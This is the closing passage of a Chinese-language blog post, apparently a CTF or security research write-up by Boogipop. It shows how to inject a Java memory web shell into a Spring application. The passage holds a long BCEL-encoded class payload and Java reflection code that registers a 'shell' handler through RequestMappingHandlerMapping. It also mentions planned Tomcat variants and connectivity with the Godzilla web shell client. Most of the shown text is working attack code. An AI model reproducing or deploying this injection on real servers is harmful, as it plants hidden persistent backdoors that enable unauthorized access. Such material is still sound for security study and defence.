5$b2$b6$b2$v$y$cba$_$97$ec$V9$ec$f3X9$Y$w$cb$e0E$Z$ac$3a$8b$d5$c1$da$M$d6$b4$z$I$z$c8$a0$ee$q$C$f2Y$3f$Fo$a8$b4$adT$ce$hBZ$a84$83$c6$90$96A$93$i$9a$a7$b08$e4$P$v$ae$ed$V$e2$desh$91$f6$ef$9b$a2W$813$b8$$$b86$83$d6$d3$cc$c5$J1$s$8e$m$8cb$t$9d$T$b8$86c9$bfN$wP$8d$mjQ$89$NX$c8$d4$$$c2$A$93$7b$x$a9G$b1$Yw$o$84$T$fc$w$3aE$f9$L$b8$W$8fb$Z$$$T$7cW$f8$n$f4w$ac$S$e5$a8$V$b5X$p$daP$t$aeG$bd$e8F$83$b8$J$8db$AM$o$82$W1$86V$9ez$9d$Y$c7Z$91$s8$rt2$3c$efo$b4$a3$H7$SL$97q7n$otJ$a9$ab$c3$a5Qc$Dz$d1$87$F$3c$f7$C$fa$c9$N$f0y$K$bbh$9bF$5d$wn$c6n$d2$88$a7$y$A$Va$o$82$3d$f4$b3Z$i$c2$z$d8K$dc$d5$d2$8a$7d$d8$cf$936$88N$M$92$e6A$a7$d8$80$D$a4y1$c0S$O$92V$82$5bE$N$fd$dd$cfX$i$V$5e$dcF$g$3f$3c$f1$P$dc$ce$99$8f$de$3f$8dC$9c$f9$f1R$9e$d3$P$f5y$3a$5e$a6$40W0$a4$m$aa$60x$ce$e8$fex$df$g$e1$I$3c$87$r$KF$9f$c3j$Fc$9d$a4$fc$T5$ff$c2$c2$ed$Kb$3e$i$a6N$P$ad$OS$ff$R$c4i$ab$ac$c1$x$7cz$f9$dc$q$fa$g$88$d6$fe$e6$a0$ef$7eT57f$b0$aeO$s$d6$c3$o$d8$d0$3f$f5$fc$b3M$8fC$3b$8f$f5$83$8dg$b1$f1$91$sV$d0$8b$9b$b8a$d3$D$d4X$ca$8cV$f1$c3$d3$cdw$xK$X$ccp$R6$d2$cfM$e4$b6$91$dfN$89$z$cc$f2Vfw$h$963$3b$ab$Y$cff$f6$82VVp$a7$f3Q$ee$r$df$8bq$qh$t$zb$ae$f6$3b$F$bf$J$a6S$f0Rc$92X$v$a2$de$b5$b0$90$e2$892R$V$f0$fc$h$8a$C$5ec$d3$fc$U$9f$f0i9$ce$ca$$$e1$x$a2$$P$8bl$$$933$be$3f$95$f5$bd$p$d7$f7$9a$e6$c6l$B$e7$f9$ff$8c$eb$fff$e9$7f$9b$e3$7f$7bSC$b6b$dd$YT$a3$86$9f$da$b91$e8$a1$a57$d2$d6$5er$fb$c9$dfE$89$B$o$fcf$a2z7$fd$bf$Fu$cc$f6Zz$b9$91$98$99$8e$c1R$t$G$c7$9c$Yt$cc$c4$a0$D$c7$b31$d8$c6$Y$ecub$b0$b9$40$M$88$86$f4n$F$_$9b$_$G$c7$9dn$f9r$a7$d9$be$e2$bf$v$y$i$86$P$R$A$A");
Method shell = Memshell.getMethod("shell");
Object InjectMemshell=Memshell.newInstance();
Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
registerMapping.setAccessible(true);
registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,InjectMemshell,shell);
System.out.println("inject successfully");
}
}

再把这个类编译为BCEL注入。
image.png
image.png
至此算是告一段落了。后续会补充一些tomcat内存马全反射形式,然后加入哥斯拉逻辑,可以哥斯拉连接。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF